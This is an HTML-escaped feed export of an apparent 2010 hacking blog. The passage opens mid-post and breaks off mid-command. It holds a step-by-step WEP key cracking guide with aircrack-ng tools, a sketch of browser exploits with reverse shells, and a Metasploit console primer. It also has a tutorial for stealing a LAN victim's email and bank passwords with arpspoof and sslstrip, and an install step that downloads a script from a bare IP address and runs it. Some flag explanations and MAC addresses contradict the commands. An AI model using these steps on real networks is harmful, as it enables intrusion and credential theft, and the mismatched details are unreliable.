/&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 2&lt;/b&gt;&lt;/span&gt; - Test Wireless Device Packet Injection&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E &amp;nbsp;wlan1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;-9 means injection&lt;/div&gt;&lt;div&gt;-a 00:1B:11:24:27:2E is the access point MAC address&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Step 3&lt;/span&gt;&lt;/b&gt; - Start airodump-ng to capture the IVs&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;airodump-ng -c 6 --bssid 00:1B:11:24:27:2E -w output wlan1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Step 4&lt;/span&gt;&lt;/b&gt; - Use aireplay-ng to do a fake authentication with the access point&lt;/div&gt;&lt;div&gt;In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;-1 means fake authentication&lt;/div&gt;&lt;div&gt;0 reassociation timing in seconds&lt;/div&gt;&lt;div&gt;-e infosec is the wireless network name&lt;/div&gt;&lt;div&gt;-a 00:14:6C:7E:40:80 is the access point MAC address&lt;/div&gt;&lt;div&gt;-h 00:0F:B5:88:AC:82 is our card MAC address&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;OR&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;2 - Reauthenticate every 2 seconds.&amp;nbsp;&lt;/div&gt;&lt;div&gt;-o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.&lt;/div&gt;&lt;div&gt;-q 10 - Send keep alive packets every 10 seconds.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Troubleshooting Tips&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…&lt;/div&gt;&lt;div&gt;Run: &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;tcpdump -n -vvv -s0 -e -i &lt;interface name=&quot;&quot;&gt; | grep -i -E ”(RA:&lt;mac address=&quot;&quot; card=&quot;&quot; of=&quot;&quot; your=&quot;&quot;&gt;|Authentication|ssoc)”&lt;/mac&gt;&lt;/interface&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You would then look for error messages.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…&lt;/div&gt;&lt;div&gt;Run: &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;“tcpdump -n -e -s0 -vvv -i wlan1”&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here is a typical tcpdump error message you are looking for:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 &amp;nbsp; DeAuthentication: Class 3 frame received from nonassociated station&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Step 5&lt;/b&gt;&lt;/span&gt; - Start aireplay-ng in ARP request replay mode&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Step 6&lt;/span&gt;&lt;/b&gt; - Run aircrack-ng to obtain the WEP key&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime;&quot;&gt;aircrack-ng -b 00:1B:11:24:27:2E output*.cap&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/7132860534137164976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/simple-wep-crack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/7132860534137164976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/7132860534137164976'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/simple-wep-crack.html' title='Simple WEP Crack'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-6260002104480004193</id><published>2010-02-10T04:48:00.000-08:00</published><updated>2010-03-18T02:49:36.966-07:00</updated><title type='text'>Client side attacks</title><content type='html'>Client side attack invloves exploiting a weakness in client software such as browser, in order to gain access to a machine.&lt;br /&gt;&lt;br /&gt;The victim computer does not have to be routeable or directly accessbile to the attacker. As long as the victim is able to browser to the attacker site, the attack can occur.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Scenario&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: lime;&quot;&gt;Victim&lt;/span&gt; == &lt;span style=&quot;color: red;&quot;&gt;Firewall&lt;/span&gt; == INTERNET == &lt;span style=&quot;color: #f1c232;&quot;&gt;Attacker&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. The victim browses the attacker&#39;s site.&lt;br /&gt;2. Malicious html exploits a browser vulnerability, and executes shellcode.&lt;br /&gt;3. Shellcode is a reverse shell over port 443 to attackers machine.&lt;br /&gt;&lt;br /&gt;Client side attacks can come in other forms, such as Microsoft Doc, ppt, xls files which may exploit a vulnerability in ms office. Perhaps one of the nastiest client side bugs was Microsoft GDI heap overflow, which could be triggered by a JPG image file. Sending the vulnerable victim a seemlingly benign JPG would result in code execution on their machine just by viewing (or&amp;nbsp; previesing) the file.</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/6260002104480004193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/client-side-attacks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/6260002104480004193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/6260002104480004193'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/client-side-attacks.html' title='Client side attacks'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-5957150270749729439</id><published>2010-02-10T04:33:00.000-08:00</published><updated>2010-03-18T02:49:37.062-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="software"/><title type='text'>Install jDownloader</title><content type='html'>Before starting, be sure you have installed Sun&#39;s java.You can install it via :&lt;br /&gt;&lt;br /&gt;&lt;code style=&quot;color: lime;&quot;&gt;$ sudo apt-get install sun-java6-bin sun-java6-jre sun-java6-jdk sun-java6-plugin&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You can change your default java via :&lt;br /&gt;&lt;br /&gt;&lt;code style=&quot;color: lime;&quot;&gt;$sudo update-java-alternatives -s java-6-sun&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ok, now let&#39;s download Jdownloader, download it via :&lt;br /&gt;&lt;br /&gt;&lt;code style=&quot;color: lime;&quot;&gt;$wget -c http://212.117.163.148/jd.sh&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;After download let&#39;s make it executable and run it :&lt;br /&gt;&lt;br /&gt;&lt;code style=&quot;color: lime;&quot;&gt;$chmod +x jd.sh&lt;/code&gt;&lt;br style=&quot;color: lime;&quot; /&gt;&lt;code style=&quot;color: lime;&quot;&gt;$./jd.sh&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;code&gt; &lt;/code&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/5957150270749729439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/install-jdownloader.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/5957150270749729439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/5957150270749729439'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/install-jdownloader.html' title='Install jDownloader'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-2226859609258397864</id><published>2010-02-08T03:49:00.000-08:00</published><updated>2010-03-18T02:49:37.109-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Basics"/><title type='text'>metasploit basics</title><content type='html'>&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;msfconsole&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The msfconsole is probably the most popular interface to the MSF. It  provides an all-on-one centralized console and allows you efficient  access to virtually all of the options available in the Metasploit  Framework.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Getting Help&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Entering &#39;help&#39; or a &#39;?&#39; at the msf command prompt will display a  listing of available commands along with a description of what they are  used for.&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;help&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Tab completion&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;One of the more useful features of msfconsole is tab completion. As with  most other shells, entering what you know and pressing &quot;Tab&quot; will  present you with list of options available to you or auto-complete the  string if there is only one option.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Show command&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Entering &#39;show&#39; at the msfconsole prompt will display every module  within Metasploit&lt;br /&gt;&lt;br /&gt;There are number of &#39;show&#39; commands you can use, but the ones you will  use most frequently are &#39;show auxiliary&#39;, &#39;show exploits&#39;, and &#39;show  payloads&#39;&lt;br /&gt;&lt;br /&gt;Executing &#39;show auxiliary&#39; will display a listing of all the available  auxiliary modules within metasploit. Auxiliary modules include scanners,  deniel of service modules, fuzzers, and more.&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show auxiliary&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&#39;show exploits&#39; will give a listing of all exploits contained in the  framework&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show exploits&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&#39;show payloads&#39; will display all of the different payloads for all  platforms available within Metasploit&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show payloads&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are a lot of payloads available. Fortunately, when you are in the  context of a particular exploit, running &#39;show payloads&#39; will only  display the payloads that are compatible with that particular exploit.  For instance, if it is a Windows exploit, you will not be shown the  Linux payloads.&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms08_067_netapi&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show payloads&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you have selected a specific module, you can issue the &#39;show options&#39;  command to display which settings are available and/or required for  that specific module.&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms08_067_netapi&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you aren&#39;t certain whether an operating system is vulnerable to a  particular exploit, run the &#39;show targets&#39; command from within the  context of an exploit module to see which targets are supported.&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms08_067_netapi&lt;/span&gt;) &amp;gt; &lt;span style=&quot;background-color: lime; color: #33cc00;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;show targets&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you wish the further fine-tune an exploit, you can see more advanced  options by running &#39;show advanced&#39;&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms08_067_netapi&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show advanced&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;strong&gt;&quot;search&quot; Command&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you have a general idea of what you are looking for you can search  for it via &#39;search &#39;. In the output below, a search is being made for MS  Bulletin MS09-011. The search function will locate this string within  the module references.&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;search ms09-001&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;strong&gt;&quot;info&quot; Command&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The &#39;info&#39; command will provide detailed information about a particular  module including all options, targets, and other information.&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;info dos/windows/smb/ms09_001_write&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&quot;use&quot; Command&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;When you have decided on a particular module to make use of, issue the  &#39;use&#39; command to select it.&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;use dos/windows/smb/ms09_001_write&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;msf auxiliary(&lt;span style=&quot;color: red;&quot;&gt;ms09_001_write&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&quot;connect&quot; Command&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;By issuing the &#39;connect&#39; command with an ip address and port number, you  can connect to a remote host from within msfconsole the same as you  would with netcat or telnet.&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;connect 192.168.1.1 23&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&quot;set&quot; Command&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The &#39;set&#39; command is used to configure the options and settings of the  module you are currently working with.&lt;br /&gt;&lt;br /&gt;msf auxiliary(&lt;span style=&quot;color: red;&quot;&gt;ms09_001_write&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;set RHOST 192.168.1.1&lt;/span&gt;&lt;br /&gt;RHOST =&amp;gt; 192.168.1.1&lt;br /&gt;msf auxiliary(&lt;span style=&quot;color: red;&quot;&gt;ms09_001_write&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A recently added feature in Metasploit is the ability to set an encoder  to use at run-time. This is particularly useful in exploit development  when you aren&#39;t quite certain as to which payload encoding methods will  work with an exploit.&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms08_067_netapi&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show encoders&lt;/span&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms08_067_netapi&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;set encoder x86/shikata_ga_nai&lt;/span&gt;&lt;br /&gt;encoder =&amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;x86/shikata_ga_nai&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&quot;check&quot; command&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;There aren&#39;t many exploits that support it, but there is also a &#39;check&#39;  option that will check to see if a target is vulnerable to a particular  exploit instead of actually exploiting it.&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms04_045_wins&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;show options&lt;/span&gt;&lt;br /&gt;msf exploit(&lt;span style=&quot;color: red;&quot;&gt;ms04_045_wins&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;check&lt;/span&gt;&lt;br /&gt;Check failed: The connection was refused by the remote host  (192.168.1.114:42)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Setting Global Variables&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;In order to save a lot of typing during a pentest, you can set global  variables within msfconsole. You can do this with the &#39;setg&#39; command.  Once these have been set, you can use them in as many exploits and  auxiliary modules as you like. You can also save them for use the next  time your start msfconsole. However, the pitfall is forgetting you have  saved globals, so always check your options before you &#39;run&#39; or  &#39;exploit&#39;. Conversely, you can use the &#39;unsetg&#39; command to unset a  global variable. In the examples that follow, variables are entered in  all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not  necessary to do so.&lt;br /&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;setg LHOST 192.168.1.101&lt;/span&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;setg RHOSTS 192.168.1.0/24&lt;/span&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;setg RHOST 192.168.1.136&lt;/span&gt;&lt;br /&gt;msf &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;save&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&quot;exploit/run&quot; Commands&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;When launching an exploit, you issue the &#39;exploit&#39; command whereas if  you are using an auxiliary module, the proper usage is &#39;run&#39; although  &#39;exploit&#39; will work as well.&lt;br /&gt;&lt;br /&gt;msf auxiliary(&lt;span style=&quot;color: red;&quot;&gt;ms09_001_write&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;run&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;strong&gt;&quot;back&quot; Command&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once you have finished working with a particular module, or if you  inadvertently select the wrong module, you can issue the &#39;back&#39; command  to move out of the current context. This, however is not required. Just  as you can in commercial routers, you can switch modules from within  other modules. As a reminder, variables will only carry over if they are  set globally&lt;br /&gt;&lt;br /&gt;msf auxiliary(&lt;span style=&quot;color: red;&quot;&gt;ms09_001_write&lt;/span&gt;) &amp;gt; &lt;span style=&quot;color: lime;&quot;&gt;back&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/2226859609258397864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/metasploit-basics.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/2226859609258397864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/2226859609258397864'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/metasploit-basics.html' title='metasploit basics'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-800722829703183049</id><published>2010-02-08T03:48:00.000-08:00</published><updated>2010-03-18T02:49:36.978-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Privilege Escalation"/><title type='text'>How to decrypt https passwords</title><content type='html'>&lt;div style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Description&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;This tutorial shows how to hack or decrypt ssl (&lt;span style=&quot;color: lime;&quot;&gt;https&lt;/span&gt;) passwords, email accounts, bank accounts and other  secure sites use ssl for encryption.&lt;br /&gt;for example, i login to my gmail account, and in explore address bar it  shows&lt;br /&gt;&lt;a href=&quot;https://mail.google.com/mail/?shva=1&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;https&lt;/span&gt;://mail.google.com/mail/?shva=1&lt;/a&gt;#&lt;br /&gt;&lt;br /&gt;if you type paypal.com, it automatically redirects to &lt;span style=&quot;color: lime;&quot;&gt;https&lt;/span&gt;://www.paypal.com/mv&lt;br /&gt;any sites which use https, we can decrypt password using ssl.&lt;br /&gt;&lt;br /&gt;Before starting the attack.. follow the 2 steps below&lt;br /&gt;&lt;br /&gt;1. download backtrack and burn to a dvd, and boot from dvd, and set the  ip address&lt;br /&gt;&lt;br /&gt;2. Attacking PC and Victim PC needs to be in same network/LAN. If Victim  PC is on 192.168.1.0 range&lt;br /&gt;then the attacking PC also needs to be in 192.168.1.0 range.&lt;br /&gt;&lt;br /&gt;&lt;b style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Steps to hack&amp;nbsp; email password using sslstrip program&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY798ryoBgQpUIFVX0_Pr9IBAOyqK_mbjFPHMmn_1tvFvmm4_zD4VeWZ7ew3BtngTmXd3U-eVT1r3aByx_bDcHNxWE0wMvumMlc4awoknm931-OA5rR_TpEj2HBhdkaV_75c4ckpPs4ik/s1600-h/Drawing1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY798ryoBgQpUIFVX0_Pr9IBAOyqK_mbjFPHMmn_1tvFvmm4_zD4VeWZ7ew3BtngTmXd3U-eVT1r3aByx_bDcHNxWE0wMvumMlc4awoknm931-OA5rR_TpEj2HBhdkaV_75c4ckpPs4ik/s320/Drawing1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Basically this attack consists of 4 steps.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step1&lt;/b&gt;. Set the attacker machine in IP forwarding mode,  so that it can forward all the victims packets to the right address.&lt;br /&gt;#&lt;span style=&quot;color: lime;&quot;&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step2&lt;/b&gt;. Start arp spoof attack between the victim  machine and the gateway, we spoof the arp replies telling the victim  machine that MAC address of the gateway is attackers MAC.&lt;br /&gt;#&lt;span style=&quot;color: lime;&quot;&gt;arpspoof -i eth0 -t 192.168.50.5  192.168.50.1&lt;/span&gt;&lt;br /&gt;-t is target (victim ip, 192.168.50.5)&lt;br /&gt;192.168.50.1 is the gateway which you want to spoof&lt;br /&gt;&lt;br /&gt;To check if arp is running successfully, from client machine ping to  clients gateway, 192.168.50.1&lt;br /&gt;and then use command arp -a&lt;br /&gt;you should see attackers and gateway MAC should be same&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBQkwdNM2Gzrfw6vD7DZ8vfrylOD0xSRWm6u-J4kvxbqApNY7WlBoyPYKLtAyCjBoYFzIIUHZP70RmZERkLBPCQTyJU-Sery1mHocmeMyxSn_oF6SS7rdKyOsuSKmL4PnARCe-JpwSsXE/s1600-h/arp.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBQkwdNM2Gzrfw6vD7DZ8vfrylOD0xSRWm6u-J4kvxbqApNY7WlBoyPYKLtAyCjBoYFzIIUHZP70RmZERkLBPCQTyJU-Sery1mHocmeMyxSn_oF6SS7rdKyOsuSKmL4PnARCe-JpwSsXE/s320/arp.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;The image you can see, gateway and attacker PC having same MAC address, 00-16-44-45-7e-c2, that means arp spoof attack is working.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step3&lt;/b&gt;, Setup ip table rule using which will redirect  all http traffic from victim pc to port 1000, which sslstrip is  listening&lt;br /&gt;open a new console, and type the following command.&lt;br /&gt;#&lt;span style=&quot;color: lime;&quot;&gt;iptables -t 